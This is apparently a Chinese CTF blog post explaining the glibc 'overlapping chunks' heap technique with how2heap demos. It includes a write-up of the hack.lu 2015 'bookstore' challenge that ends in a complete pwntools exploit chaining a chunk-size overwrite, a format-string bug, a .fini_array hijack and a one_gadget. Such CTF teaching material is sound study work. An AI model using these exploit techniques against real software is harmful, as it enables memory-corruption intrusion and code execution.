overlapping chunks

overlapping!挺简单的,例题有点离谱但也涨了不少姿势

原理

在2.29unsorted bin增加chunk的size检查之前,如果我们能够控制next chunk的size那就能造成堆块重叠

1
2
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");

利用一

2.26以前

实验代码如下(来自how2heap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){


intptr_t *p1,*p2,*p3,*p4;

p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);

memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);

free(p2);

int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;

*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2

p4 = malloc(evil_region_size);

memset(p4, '4', evil_region_size);
memset(p3, '3', 80);
}

示意图如下:

我们就能通过p4控制p3

2.27-2.28

有了tcache,申请的size要大于tcache的范围

2.29以后

控制top chunk的preinuse位和presize这个方法依然能够使用

利用二

实验代码如下(来自how2hwap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(){

intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;

p1 = malloc(1000);//0x3e8
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);

real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);

memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);

free(p4);

*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE

free(p2);

p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);

memset(p6,'F',1500);
}

示意图如下:

触发合并能够控制更多的chunk,且所有版本都可用

例题

hack.lu CTF 2015-bookstore

静态分析

漏洞挺多,主要利用的有两个

  • edit函数中的数据读入没有长度限制
  • 最后有一个格式化字符串漏洞

漏洞很多的同时限制也很多,只有两个0x90的堆块可以编辑和释放,以及能申请一个0x140的堆块,但申请完之后会直接退出

思路

要触发格式化字符串就要控制dest。如果我们通过edit(order2)来控制dest,edit完又会在dest处写”Your order is submitted!\n”,所以我们就要考虑用别的方法控制dest,过程如下:

  • free(order2)
  • 通过order1的溢出更改order2的size为0x151,这样执行submit过程时使用的chunk order3实际上是order2
  • 之后会先把order1的内容copy到order2中,再把order2的内容(还是order1的内容)copy到order2中,所以只要order1的data足够长就能溢出到dest中,如果在order1中写入格式化字符串,就能触发格式化字符串漏洞

还要解决两个问题,就是如何利用格式化字符串返回main函数,第二次执行main函数的时候如何执行one_gadget
第一个问题我们可以通过劫持fini_array实现(通过这道题涨的新姿势)
第二个问题我们可以通过泄露栈地址,格式化字符串漏洞修改返回地址为one_gadget实现(所以说这是道格式化字符串题不是道堆题(╯‵□′)╯︵┻━┻)

fini_array

先捋一遍程序的运行过程
众所周知,main并不是程序真正的入口,真正的入口应该是start

0x400780就是bookstore程序的start函数
gdb跟踪一下程序的过程

  • start函数首先调用了__libc_start_main
  • __libc_start_main有一个call rbp的过程
    实际调用的是0x400cb0,即init函数
  • init函数中有个call qword ptr [r12 + rbx*8]的过程,此时r12中存的是0x6011b0,rbx中存的是0 0x6011b0实际上就是.init_array段,即调用函数sub_400850
  • __libc_start_main执行完init函数后有一个call rax,此时rax存的是0x400a39,就是执行main函数了
  • __libc_start_main结束main函数后调用exit
  • exit调用的__run_exit_handlers函数有一个call rdx的过程,rdx存的是_dl_fini函数 但不知道为啥实际执行的是sub_0x400830(源码好复杂看不懂),就是.fini_array段的内容
  • 之后程序就结束了
    虽然有点云里雾里,但利用方法以及很清楚了,就是利用格式化字符串修改.fini_array段的内容为main函数的地址
    在No RELRO的情况下.fini_array段是可写的
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.log_level='debug'
context.arch='amd64'
context.os='linux'

def edit1(content):
p.sendlineafter(b'5: Submit\n',b'1')
p.sendlineafter(b'Enter first order:\n',content)
def edit2(content):
p.sendlineafter(b'5: Submit\n',b'2')
p.sendlineafter(b'Enter second order:\n',content)
def del1():
p.sendlineafter(b'5: Submit\n',b'3')
def del2():
p.sendlineafter(b'5: Submit\n',b'4')
def submit(command):
p.sendlineafter(b'5: Submit\n',b'5'+command)

p=process('./bookstore')
libc=ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
del2()
edit1(b'Q'*0x10+b'%2617c%13$hn%31$p%28$p'+b'Q'*(0x60-34)+b'\x00'*28+p64(0)+p64(0x151))
submit(b'\x00'*7+p64(0x6011b8))
p.recvuntil(b'0x')
s=p.recvuntil(b'0x')[:-2]
ss=p.recvuntil(b'Q')[:-1]
libcbase=int(s,16)-libc.symbols['__libc_start_main']-240
stack=int(ss,16)-0xf50+0xd68
print(hex(libcbase))
print(hex(stack))
one_addr=p64(libcbase+0x45206)
x=one_addr[2]
p.sendline(b'4')
#gdb.attach(p)
payload='%'+str(x)+'c'+'%13$hhn'+'%'+str(0x5206-x)+'c'+'%14$hn'
edit1(b'Q'*0x10+payload.encode()+b'Q'*(0x60-12-len(payload))+b'\x00'*28+p64(0)+p64(0x151))
submit(b'\x00'*7+p64(stack+2)+p64(stack))
p.interactive()
#pause()

overlapping chunks
http://akaieurus.github.io/2023/02/05/overlapping-chunks/
作者
Eurus
发布于
2023年2月5日
许可协议